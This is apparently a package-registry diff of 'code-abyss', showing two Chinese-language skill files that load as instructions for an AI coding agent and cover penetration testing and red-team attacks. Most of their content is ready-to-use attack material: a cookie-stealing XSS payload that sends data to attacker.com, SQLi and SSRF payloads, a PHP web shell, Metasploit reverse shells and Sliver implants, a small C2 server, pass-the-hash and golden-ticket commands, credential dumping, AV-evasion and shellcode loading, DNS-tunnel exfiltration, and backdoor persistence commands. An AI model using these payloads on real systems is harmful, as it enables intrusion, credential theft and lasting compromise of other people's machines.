code-abyss 1.5.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +197 -0
- package/bin/install.js +193 -0
- package/bin/uninstall.js +42 -0
- package/config/AGENTS.md +247 -0
- package/config/CLAUDE.md +207 -0
- package/config/settings.example.json +27 -0
- package/output-styles/abyss-cultivator.md +399 -0
- package/package.json +41 -0
- package/skills/SKILL.md +115 -0
- package/skills/ai/SKILL.md +29 -0
- package/skills/ai/agent-dev.md +242 -0
- package/skills/ai/llm-security.md +288 -0
- package/skills/architecture/SKILL.md +41 -0
- package/skills/architecture/api-design.md +225 -0
- package/skills/architecture/caching.md +299 -0
- package/skills/architecture/cloud-native.md +285 -0
- package/skills/architecture/compliance.md +299 -0
- package/skills/architecture/data-security.md +184 -0
- package/skills/architecture/message-queue.md +329 -0
- package/skills/architecture/security-arch.md +210 -0
- package/skills/development/SKILL.md +43 -0
- package/skills/development/cpp.md +246 -0
- package/skills/development/go.md +323 -0
- package/skills/development/java.md +277 -0
- package/skills/development/python.md +288 -0
- package/skills/development/rust.md +313 -0
- package/skills/development/shell.md +313 -0
- package/skills/development/typescript.md +277 -0
- package/skills/devops/SKILL.md +36 -0
- package/skills/devops/cost-optimization.md +272 -0
- package/skills/devops/database.md +217 -0
- package/skills/devops/devsecops.md +198 -0
- package/skills/devops/git-workflow.md +181 -0
- package/skills/devops/observability.md +280 -0
- package/skills/devops/performance.md +273 -0
- package/skills/devops/testing.md +186 -0
- package/skills/gen-docs/SKILL.md +114 -0
- package/skills/gen-docs/scripts/doc_generator.py +491 -0
- package/skills/multi-agent/SKILL.md +268 -0
- package/skills/run_skill.py +88 -0
- package/skills/security/SKILL.md +51 -0
- package/skills/security/blue-team.md +379 -0
- package/skills/security/code-audit.md +265 -0
- package/skills/security/pentest.md +226 -0
- package/skills/security/red-team.md +321 -0
- package/skills/security/threat-intel.md +322 -0
- package/skills/security/vuln-research.md +369 -0
- package/skills/tests/README.md +225 -0
- package/skills/tests/SUMMARY.md +362 -0
- package/skills/tests/__init__.py +3 -0
- package/skills/tests/test_change_analyzer.py +558 -0
- package/skills/tests/test_doc_generator.py +538 -0
- package/skills/tests/test_module_scanner.py +376 -0
- package/skills/tests/test_quality_checker.py +516 -0
- package/skills/tests/test_security_scanner.py +426 -0
- package/skills/verify-change/SKILL.md +138 -0
- package/skills/verify-change/scripts/change_analyzer.py +529 -0
- package/skills/verify-module/SKILL.md +125 -0
- package/skills/verify-module/scripts/module_scanner.py +321 -0
- package/skills/verify-quality/SKILL.md +158 -0
- package/skills/verify-quality/scripts/quality_checker.py +481 -0
- package/skills/verify-security/SKILL.md +141 -0
- package/skills/verify-security/scripts/security_scanner.py +368 -0
|
@@ -0,0 +1,226 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: pentest
|
|
3
|
+
description: 全栈渗透测试。Web渗透、API安全、内网渗透、OWASP Top 10。当用户提到渗透测试、Web安全、API安全、漏洞挖掘、Burp、XSS、SQLi、SSRF、越权、BOLA时使用。
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# 🔥 赤焰秘典 · 渗透测试 (Penetration Testing)
|
|
7
|
+
|
|
8
|
+
|
|
9
|
+
## 渗透测试流程
|
|
10
|
+
|
|
11
|
+
```
|
|
12
|
+
┌─────────────────────────────────────────────────────────────┐
|
|
13
|
+
│ 渗透测试流程 │
|
|
14
|
+
├─────────────────────────────────────────────────────────────┤
|
|
15
|
+
│ Phase 1: 信息收集 │
|
|
16
|
+
│ ├─ 目标识别 → 技术栈指纹 → WAF检测 → 端口扫描 │
|
|
17
|
+
│ └─ 目录扫描 → 参数发现 → JS分析 │
|
|
18
|
+
│ ↓ │
|
|
19
|
+
│ Phase 2: 漏洞扫描 │
|
|
20
|
+
│ ├─ OWASP Top 10 全覆盖 │
|
|
21
|
+
│ ├─ 技术栈特定漏洞 │
|
|
22
|
+
│ └─ 业务逻辑漏洞 │
|
|
23
|
+
│ ↓ │
|
|
24
|
+
│ Phase 3: 漏洞利用 │
|
|
25
|
+
│ ├─ PoC验证 → 数据提取 → 权限提升 │
|
|
26
|
+
│ └─ 横向移动 → 持久化 │
|
|
27
|
+
│ ↓ │
|
|
28
|
+
│ Phase 4: 报告输出 │
|
|
29
|
+
│ └─ 按严重性分级 → 修复建议 → 复测验证 │
|
|
30
|
+
└─────────────────────────────────────────────────────────────┘
|
|
31
|
+
```
|
|
32
|
+
|
|
33
|
+
## OWASP Top 10 测试
|
|
34
|
+
|
|
35
|
+
| 漏洞 | 测试方法 | Payload 示例 |
|
|
36
|
+
|------|----------|--------------|
|
|
37
|
+
| A01 访问控制 | IDOR、越权、JWT伪造 | 替换ID访问他人数据 |
|
|
38
|
+
| A02 加密失败 | HTTPS、敏感数据明文 | 抓包分析 |
|
|
39
|
+
| A03 注入 | SQLi、XSS、CMDi、SSTI | `' OR '1'='1` |
|
|
40
|
+
| A04 不安全设计 | 业务逻辑漏洞 | 流程绕过 |
|
|
41
|
+
| A05 配置错误 | 默认凭证、目录遍历 | `/admin` |
|
|
42
|
+
| A06 脆弱组件 | CVE扫描 | Nuclei模板 |
|
|
43
|
+
| A07 认证失败 | 弱密码、会话固定 | 爆破、重放 |
|
|
44
|
+
| A08 数据完整性 | 反序列化 | 恶意对象 |
|
|
45
|
+
| A09 日志不足 | 敏感信息泄露 | 错误信息 |
|
|
46
|
+
| A10 SSRF | 内网探测 | `http://127.0.0.1` |
|
|
47
|
+
|
|
48
|
+
## Web 渗透测试
|
|
49
|
+
|
|
50
|
+
### XSS Payload
|
|
51
|
+
```html
|
|
52
|
+
<script>alert(1)</script>
|
|
53
|
+
<img src=x onerror=alert(1)>
|
|
54
|
+
<svg/onload=alert(1)>
|
|
55
|
+
javascript:alert(1)
|
|
56
|
+
<img src=x onerror="fetch('http://attacker.com/?c='+document.cookie)">
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
### SQL 注入
|
|
60
|
+
```sql
|
|
61
|
+
-- 检测
|
|
62
|
+
' OR '1'='1
|
|
63
|
+
1' AND SLEEP(5)--
|
|
64
|
+
1 UNION SELECT 1,2,3--
|
|
65
|
+
|
|
66
|
+
-- 数据提取
|
|
67
|
+
1 UNION SELECT table_name,2 FROM information_schema.tables--
|
|
68
|
+
1 UNION SELECT column_name,2 FROM information_schema.columns WHERE table_name='users'--
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
### SSRF Payload
|
|
72
|
+
```
|
|
73
|
+
http://127.0.0.1:80
|
|
74
|
+
http://169.254.169.254/latest/meta-data/
|
|
75
|
+
file:///etc/passwd
|
|
76
|
+
gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0ainfo
|
|
77
|
+
dict://127.0.0.1:6379/info
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
### 文件上传绕过
|
|
81
|
+
```
|
|
82
|
+
shell.php.jpg # 双扩展名
|
|
83
|
+
shell.phtml # 替代扩展名
|
|
84
|
+
shell.php%00.jpg # 空字节截断
|
|
85
|
+
shell.php/. # 路径混淆
|
|
86
|
+
Content-Type: image/jpeg # MIME绕过
|
|
87
|
+
GIF89a<?php system($_GET['cmd']);?> # 文件头绕过
|
|
88
|
+
```
|
|
89
|
+
|
|
90
|
+
## API 安全测试
|
|
91
|
+
|
|
92
|
+
### OWASP API Top 10
|
|
93
|
+
|
|
94
|
+
| 风险 | 描述 | 测试方法 |
|
|
95
|
+
|------|------|----------|
|
|
96
|
+
| API1 BOLA | 对象级授权失效 | 替换ID访问他人数据 |
|
|
97
|
+
| API2 认证失效 | 认证机制缺陷 | 弱Token、无限制 |
|
|
98
|
+
| API3 属性级授权 | 返回过多数据 | 检查响应字段 |
|
|
99
|
+
| API4 资源消耗 | 无速率限制 | 批量请求测试 |
|
|
100
|
+
| API5 BFLA | 功能级授权失效 | 低权限调用高权限API |
|
|
101
|
+
|
|
102
|
+
### BOLA 测试
|
|
103
|
+
```python
|
|
104
|
+
def test_bola(base_url, token):
|
|
105
|
+
"""测试对象级授权漏洞"""
|
|
106
|
+
headers = {"Authorization": f"Bearer {token}"}
|
|
107
|
+
my_id = 100
|
|
108
|
+
|
|
109
|
+
for other_id in [1, 2, 99, 101, 999]:
|
|
110
|
+
resp = requests.get(f"{base_url}/api/users/{other_id}", headers=headers)
|
|
111
|
+
if resp.status_code == 200:
|
|
112
|
+
print(f"[VULN] BOLA: Can access user {other_id}")
|
|
113
|
+
```
|
|
114
|
+
|
|
115
|
+
### JWT 测试
|
|
116
|
+
```python
|
|
117
|
+
import jwt
|
|
118
|
+
|
|
119
|
+
def test_jwt_vulns(token):
|
|
120
|
+
"""JWT 常见漏洞测试"""
|
|
121
|
+
payload = jwt.decode(token, options={"verify_signature": False})
|
|
122
|
+
|
|
123
|
+
# 1. alg=none 绕过
|
|
124
|
+
none_token = jwt.encode(payload, None, algorithm="none")
|
|
125
|
+
|
|
126
|
+
# 2. 弱密钥测试
|
|
127
|
+
weak_secrets = ["secret", "password", "123456", "key"]
|
|
128
|
+
for secret in weak_secrets:
|
|
129
|
+
try:
|
|
130
|
+
jwt.decode(token, secret, algorithms=["HS256"])
|
|
131
|
+
print(f"[VULN] Weak secret: {secret}")
|
|
132
|
+
except: pass
|
|
133
|
+
```
|
|
134
|
+
|
|
135
|
+
### GraphQL 测试
|
|
136
|
+
```graphql
|
|
137
|
+
# 内省查询 - 获取 Schema
|
|
138
|
+
{ __schema { types { name fields { name } } } }
|
|
139
|
+
|
|
140
|
+
# 批量查询攻击
|
|
141
|
+
query {
|
|
142
|
+
user1: user(id: 1) { email }
|
|
143
|
+
user2: user(id: 2) { email }
|
|
144
|
+
}
|
|
145
|
+
|
|
146
|
+
# 深度嵌套 DoS
|
|
147
|
+
{ user(id: 1) { friends { friends { friends { name } } } } }
|
|
148
|
+
```
|
|
149
|
+
|
|
150
|
+
## 技术栈特定测试
|
|
151
|
+
|
|
152
|
+
### Laravel/PHP
|
|
153
|
+
```yaml
|
|
154
|
+
critical_paths:
|
|
155
|
+
- /install # CRITICAL - 安装漏洞
|
|
156
|
+
- /composer.json # HIGH - 依赖泄露
|
|
157
|
+
- /.env # HIGH - 配置泄露
|
|
158
|
+
- /storage/logs # MEDIUM - 日志泄露
|
|
159
|
+
```
|
|
160
|
+
|
|
161
|
+
### Spring Boot
|
|
162
|
+
```yaml
|
|
163
|
+
critical_paths:
|
|
164
|
+
- /actuator/env # CRITICAL - 环境变量
|
|
165
|
+
- /actuator/heapdump # CRITICAL - 内存转储
|
|
166
|
+
- /actuator/mappings # HIGH - 路由泄露
|
|
167
|
+
```
|
|
168
|
+
|
|
169
|
+
### WordPress
|
|
170
|
+
```yaml
|
|
171
|
+
critical_paths:
|
|
172
|
+
- /wp-admin/install.php # CRITICAL - 重装漏洞
|
|
173
|
+
- /wp-config.php.bak # HIGH - 配置备份
|
|
174
|
+
- /xmlrpc.php # MEDIUM - 爆破入口
|
|
175
|
+
```
|
|
176
|
+
|
|
177
|
+
## 常用工具
|
|
178
|
+
|
|
179
|
+
| 工具 | 用途 |
|
|
180
|
+
|------|------|
|
|
181
|
+
| Burp Suite | 代理抓包、漏洞扫描 |
|
|
182
|
+
| sqlmap | SQL注入自动化 |
|
|
183
|
+
| Nuclei | 漏洞模板扫描 |
|
|
184
|
+
| ffuf | 目录/参数爆破 |
|
|
185
|
+
| httpx | 批量探测 |
|
|
186
|
+
| XSStrike | XSS检测 |
|
|
187
|
+
| jwt_tool | JWT测试 |
|
|
188
|
+
| Arjun | 参数发现 |
|
|
189
|
+
|
|
190
|
+
## Burp Suite 技巧
|
|
191
|
+
|
|
192
|
+
```
|
|
193
|
+
# Intruder 爆破
|
|
194
|
+
Payload: 字典/数字范围
|
|
195
|
+
Position: 标记参数 §param§
|
|
196
|
+
|
|
197
|
+
# Repeater 手动测试
|
|
198
|
+
修改参数 → 发送 → 分析响应
|
|
199
|
+
|
|
200
|
+
# 插件推荐
|
|
201
|
+
- HaE (高亮敏感信息)
|
|
202
|
+
- Autorize (越权检测)
|
|
203
|
+
- JSON Beautifier
|
|
204
|
+
```
|
|
205
|
+
|
|
206
|
+
## 报告格式
|
|
207
|
+
|
|
208
|
+
```markdown
|
|
209
|
+
# 渗透测试报告
|
|
210
|
+
|
|
211
|
+
## 🔴 CRITICAL
|
|
212
|
+
### 1. SQL注入 - /api/users
|
|
213
|
+
- **位置**: id 参数
|
|
214
|
+
- **PoC**: `id=1' AND SLEEP(5)--`
|
|
215
|
+
- **影响**: 数据库完全泄露
|
|
216
|
+
- **修复**: 使用参数化查询
|
|
217
|
+
|
|
218
|
+
## 🟠 HIGH
|
|
219
|
+
...
|
|
220
|
+
|
|
221
|
+
## 🟡 MEDIUM
|
|
222
|
+
...
|
|
223
|
+
```
|
|
224
|
+
|
|
225
|
+
---
|
|
226
|
+
|
|
@@ -0,0 +1,321 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: red-team
|
|
3
|
+
description: 红队攻击技术。PoC开发、C2框架、横向移动、权限提升、免杀技术。当用户提到红队、PoC、C2、横向移动、PTH、免杀、Cobalt Strike、Sliver、提权时使用。
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# 🔥 赤焰秘典 · 红队攻击 (Red Team)
|
|
7
|
+
|
|
8
|
+
|
|
9
|
+
## 攻击链 (Kill Chain)
|
|
10
|
+
|
|
11
|
+
```
|
|
12
|
+
侦察 → 武器化 → 投递 → 利用 → 安装 → C2 → 行动
|
|
13
|
+
│ │ │ │ │ │ │
|
|
14
|
+
└─ OSINT ─┴─ PoC ─┴─ 钓鱼 ─┴─ 提权 ─┴─ 持久 ─┴─ 横向
|
|
15
|
+
```
|
|
16
|
+
|
|
17
|
+
## PoC 开发
|
|
18
|
+
|
|
19
|
+
### 标准 PoC 结构
|
|
20
|
+
```python
|
|
21
|
+
#!/usr/bin/env python3
|
|
22
|
+
"""
|
|
23
|
+
漏洞名称: CVE-XXXX-XXXX
|
|
24
|
+
影响版本: x.x.x - x.x.x
|
|
25
|
+
漏洞类型: RCE/SQLi/XSS/SSRF
|
|
26
|
+
仅用于授权测试
|
|
27
|
+
"""
|
|
28
|
+
import requests
|
|
29
|
+
import argparse
|
|
30
|
+
|
|
31
|
+
class POC:
|
|
32
|
+
def __init__(self, target: str):
|
|
33
|
+
self.target = target.rstrip('/')
|
|
34
|
+
self.session = requests.Session()
|
|
35
|
+
self.session.headers = {
|
|
36
|
+
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
def check(self) -> bool:
|
|
40
|
+
"""无害检测"""
|
|
41
|
+
try:
|
|
42
|
+
# 使用延时、DNS外带等无害方式验证
|
|
43
|
+
pass
|
|
44
|
+
except Exception as e:
|
|
45
|
+
return False
|
|
46
|
+
|
|
47
|
+
def exploit(self, cmd: str) -> str:
|
|
48
|
+
"""漏洞利用"""
|
|
49
|
+
pass
|
|
50
|
+
|
|
51
|
+
def main():
|
|
52
|
+
parser = argparse.ArgumentParser()
|
|
53
|
+
parser.add_argument('-u', '--url', required=True)
|
|
54
|
+
parser.add_argument('-c', '--cmd', default='id')
|
|
55
|
+
args = parser.parse_args()
|
|
56
|
+
|
|
57
|
+
poc = POC(args.url)
|
|
58
|
+
if poc.check():
|
|
59
|
+
print(f"[+] Vulnerable!")
|
|
60
|
+
print(poc.exploit(args.cmd))
|
|
61
|
+
else:
|
|
62
|
+
print("[-] Not vulnerable")
|
|
63
|
+
|
|
64
|
+
if __name__ == '__main__':
|
|
65
|
+
main()
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
## C2 框架
|
|
69
|
+
|
|
70
|
+
### Sliver (推荐开源)
|
|
71
|
+
```bash
|
|
72
|
+
# 安装
|
|
73
|
+
curl https://sliver.sh/install | sudo bash
|
|
74
|
+
|
|
75
|
+
# 生成 Implant
|
|
76
|
+
sliver > generate --mtls 192.168.1.100 --os windows --save implant.exe
|
|
77
|
+
sliver > generate --http 192.168.1.100 --os linux --save implant
|
|
78
|
+
|
|
79
|
+
# 启动监听
|
|
80
|
+
sliver > mtls --lhost 0.0.0.0 --lport 8888
|
|
81
|
+
sliver > http --lhost 0.0.0.0 --lport 80
|
|
82
|
+
|
|
83
|
+
# 会话操作
|
|
84
|
+
sliver > sessions
|
|
85
|
+
sliver > use SESSION_ID
|
|
86
|
+
sliver (SESSION) > shell
|
|
87
|
+
sliver (SESSION) > download /etc/passwd
|
|
88
|
+
sliver (SESSION) > upload local remote
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
### Metasploit
|
|
92
|
+
```bash
|
|
93
|
+
# 生成 Payload
|
|
94
|
+
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe > shell.exe
|
|
95
|
+
|
|
96
|
+
# 监听
|
|
97
|
+
msf6 > use exploit/multi/handler
|
|
98
|
+
msf6 > set payload windows/x64/meterpreter/reverse_tcp
|
|
99
|
+
msf6 > set LHOST 0.0.0.0
|
|
100
|
+
msf6 > run
|
|
101
|
+
|
|
102
|
+
# Meterpreter
|
|
103
|
+
meterpreter > getsystem
|
|
104
|
+
meterpreter > hashdump
|
|
105
|
+
meterpreter > load kiwi
|
|
106
|
+
meterpreter > creds_all
|
|
107
|
+
```
|
|
108
|
+
|
|
109
|
+
### 简易 HTTP C2
|
|
110
|
+
```python
|
|
111
|
+
# Server
|
|
112
|
+
from flask import Flask, request, jsonify
|
|
113
|
+
import base64
|
|
114
|
+
|
|
115
|
+
app = Flask(__name__)
|
|
116
|
+
agents, tasks = {}, {}
|
|
117
|
+
|
|
118
|
+
@app.route('/beacon/<agent_id>')
|
|
119
|
+
def beacon(agent_id):
|
|
120
|
+
if tasks.get(agent_id):
|
|
121
|
+
return jsonify({"task": tasks[agent_id].pop(0)})
|
|
122
|
+
return jsonify({"task": None})
|
|
123
|
+
|
|
124
|
+
@app.route('/result/<agent_id>', methods=['POST'])
|
|
125
|
+
def result(agent_id):
|
|
126
|
+
output = base64.b64decode(request.json['output']).decode()
|
|
127
|
+
print(f"[{agent_id}] {output}")
|
|
128
|
+
return jsonify({"status": "ok"})
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
## 横向移动
|
|
132
|
+
|
|
133
|
+
### Pass-the-Hash (PTH)
|
|
134
|
+
```bash
|
|
135
|
+
# Impacket
|
|
136
|
+
psexec.py -hashes :NTLM_HASH administrator@TARGET
|
|
137
|
+
wmiexec.py -hashes :NTLM_HASH administrator@TARGET
|
|
138
|
+
smbexec.py -hashes :NTLM_HASH administrator@TARGET
|
|
139
|
+
|
|
140
|
+
# CrackMapExec
|
|
141
|
+
crackmapexec smb TARGET -u admin -H HASH -x "whoami"
|
|
142
|
+
crackmapexec smb 192.168.1.0/24 -u admin -H HASH --shares
|
|
143
|
+
|
|
144
|
+
# Mimikatz
|
|
145
|
+
sekurlsa::pth /user:admin /domain:DOMAIN /ntlm:HASH /run:cmd.exe
|
|
146
|
+
```
|
|
147
|
+
|
|
148
|
+
### Pass-the-Ticket (PTT)
|
|
149
|
+
```bash
|
|
150
|
+
# 导出票据
|
|
151
|
+
mimikatz # sekurlsa::tickets /export
|
|
152
|
+
|
|
153
|
+
# 注入票据
|
|
154
|
+
mimikatz # kerberos::ptt ticket.kirbi
|
|
155
|
+
|
|
156
|
+
# Rubeus
|
|
157
|
+
Rubeus.exe ptt /ticket:ticket.kirbi
|
|
158
|
+
```
|
|
159
|
+
|
|
160
|
+
### Kerberos 攻击
|
|
161
|
+
```bash
|
|
162
|
+
# Kerberoasting
|
|
163
|
+
GetUserSPNs.py DOMAIN/user:pass -dc-ip DC_IP -request
|
|
164
|
+
|
|
165
|
+
# AS-REP Roasting
|
|
166
|
+
GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP
|
|
167
|
+
|
|
168
|
+
# Golden Ticket
|
|
169
|
+
mimikatz # kerberos::golden /user:admin /domain:DOMAIN /sid:S-1-5-21-xxx /krbtgt:HASH /ptt
|
|
170
|
+
```
|
|
171
|
+
|
|
172
|
+
### 远程执行方法
|
|
173
|
+
```bash
|
|
174
|
+
# WinRM
|
|
175
|
+
evil-winrm -i TARGET -u user -H HASH
|
|
176
|
+
|
|
177
|
+
# PowerShell Remoting
|
|
178
|
+
Enter-PSSession -ComputerName TARGET -Credential DOMAIN\user
|
|
179
|
+
Invoke-Command -ComputerName TARGET -ScriptBlock {whoami}
|
|
180
|
+
|
|
181
|
+
# WMI
|
|
182
|
+
wmic /node:TARGET /user:admin /password:pass process call create "cmd.exe /c whoami"
|
|
183
|
+
```
|
|
184
|
+
|
|
185
|
+
## 权限提升
|
|
186
|
+
|
|
187
|
+
### Windows 提权
|
|
188
|
+
```powershell
|
|
189
|
+
# 信息收集
|
|
190
|
+
whoami /priv
|
|
191
|
+
systeminfo
|
|
192
|
+
net user
|
|
193
|
+
net localgroup administrators
|
|
194
|
+
|
|
195
|
+
# 常见提权路径
|
|
196
|
+
- SeImpersonatePrivilege → Potato系列
|
|
197
|
+
- 服务配置错误 → 服务路径劫持
|
|
198
|
+
- 计划任务 → 任务劫持
|
|
199
|
+
- AlwaysInstallElevated → MSI提权
|
|
200
|
+
- 未打补丁 → 内核漏洞
|
|
201
|
+
|
|
202
|
+
# Potato 提权
|
|
203
|
+
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t *
|
|
204
|
+
PrintSpoofer.exe -i -c cmd
|
|
205
|
+
GodPotato.exe -cmd "cmd /c whoami"
|
|
206
|
+
```
|
|
207
|
+
|
|
208
|
+
### Linux 提权
|
|
209
|
+
```bash
|
|
210
|
+
# 信息收集
|
|
211
|
+
id
|
|
212
|
+
uname -a
|
|
213
|
+
cat /etc/passwd
|
|
214
|
+
sudo -l
|
|
215
|
+
find / -perm -4000 2>/dev/null
|
|
216
|
+
|
|
217
|
+
# 常见提权路径
|
|
218
|
+
- SUID 二进制 → GTFOBins
|
|
219
|
+
- sudo 配置错误 → sudo提权
|
|
220
|
+
- 内核漏洞 → DirtyPipe/DirtyCow
|
|
221
|
+
- 定时任务 → cron劫持
|
|
222
|
+
- 容器逃逸 → Docker/K8s
|
|
223
|
+
|
|
224
|
+
# SUID 利用
|
|
225
|
+
find / -perm -4000 2>/dev/null
|
|
226
|
+
# 查 GTFOBins: https://gtfobins.github.io/
|
|
227
|
+
```
|
|
228
|
+
|
|
229
|
+
## 免杀技术
|
|
230
|
+
|
|
231
|
+
### 基础免杀
|
|
232
|
+
```python
|
|
233
|
+
# 1. 字符串混淆
|
|
234
|
+
import base64
|
|
235
|
+
payload = base64.b64encode(b"malicious_code").decode()
|
|
236
|
+
exec(base64.b64decode(payload))
|
|
237
|
+
|
|
238
|
+
# 2. 动态加载
|
|
239
|
+
import importlib
|
|
240
|
+
module = importlib.import_module("os")
|
|
241
|
+
getattr(module, "system")("whoami")
|
|
242
|
+
|
|
243
|
+
# 3. 加密 Payload
|
|
244
|
+
from Crypto.Cipher import AES
|
|
245
|
+
# 运行时解密执行
|
|
246
|
+
```
|
|
247
|
+
|
|
248
|
+
### Shellcode 加载
|
|
249
|
+
```python
|
|
250
|
+
import ctypes
|
|
251
|
+
|
|
252
|
+
shellcode = b"\xfc\x48\x83..." # msfvenom 生成
|
|
253
|
+
|
|
254
|
+
# Windows
|
|
255
|
+
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
|
|
256
|
+
ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
|
|
257
|
+
ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode))
|
|
258
|
+
ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
|
|
259
|
+
```
|
|
260
|
+
|
|
261
|
+
### 隐蔽通信
|
|
262
|
+
```python
|
|
263
|
+
# DNS 隧道
|
|
264
|
+
def dns_exfil(data, domain):
|
|
265
|
+
encoded = base64.b32encode(data.encode()).decode()
|
|
266
|
+
for chunk in [encoded[i:i+63] for i in range(0, len(encoded), 63)]:
|
|
267
|
+
dns.resolver.resolve(f"{chunk}.{domain}", 'A')
|
|
268
|
+
|
|
269
|
+
# 域前置
|
|
270
|
+
def domain_fronting(real_host, cdn_domain, data):
|
|
271
|
+
headers = {"Host": real_host}
|
|
272
|
+
requests.post(f"https://{cdn_domain}/api", json=data, headers=headers)
|
|
273
|
+
```
|
|
274
|
+
|
|
275
|
+
## 持久化
|
|
276
|
+
|
|
277
|
+
### Windows
|
|
278
|
+
```powershell
|
|
279
|
+
# 注册表
|
|
280
|
+
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "C:\backdoor.exe"
|
|
281
|
+
|
|
282
|
+
# 计划任务
|
|
283
|
+
schtasks /create /tn "Update" /tr "C:\backdoor.exe" /sc onlogon
|
|
284
|
+
|
|
285
|
+
# 服务
|
|
286
|
+
sc create backdoor binPath= "C:\backdoor.exe" start= auto
|
|
287
|
+
|
|
288
|
+
# WMI 事件订阅
|
|
289
|
+
# 进程启动时触发
|
|
290
|
+
```
|
|
291
|
+
|
|
292
|
+
### Linux
|
|
293
|
+
```bash
|
|
294
|
+
# Crontab
|
|
295
|
+
echo "* * * * * /tmp/backdoor" >> /var/spool/cron/root
|
|
296
|
+
|
|
297
|
+
# SSH 密钥
|
|
298
|
+
echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys
|
|
299
|
+
|
|
300
|
+
# 服务
|
|
301
|
+
# 创建 systemd service
|
|
302
|
+
|
|
303
|
+
# LD_PRELOAD
|
|
304
|
+
echo "/tmp/evil.so" >> /etc/ld.so.preload
|
|
305
|
+
```
|
|
306
|
+
|
|
307
|
+
## 工具清单
|
|
308
|
+
|
|
309
|
+
| 工具 | 用途 |
|
|
310
|
+
|------|------|
|
|
311
|
+
| Sliver | 开源 C2 框架 |
|
|
312
|
+
| Metasploit | 渗透测试框架 |
|
|
313
|
+
| Cobalt Strike | 商业 C2 |
|
|
314
|
+
| Impacket | Windows 协议工具 |
|
|
315
|
+
| CrackMapExec | 批量横向 |
|
|
316
|
+
| Mimikatz | 凭证提取 |
|
|
317
|
+
| Rubeus | Kerberos 工具 |
|
|
318
|
+
| BloodHound | AD 路径分析 |
|
|
319
|
+
|
|
320
|
+
---
|
|
321
|
+
|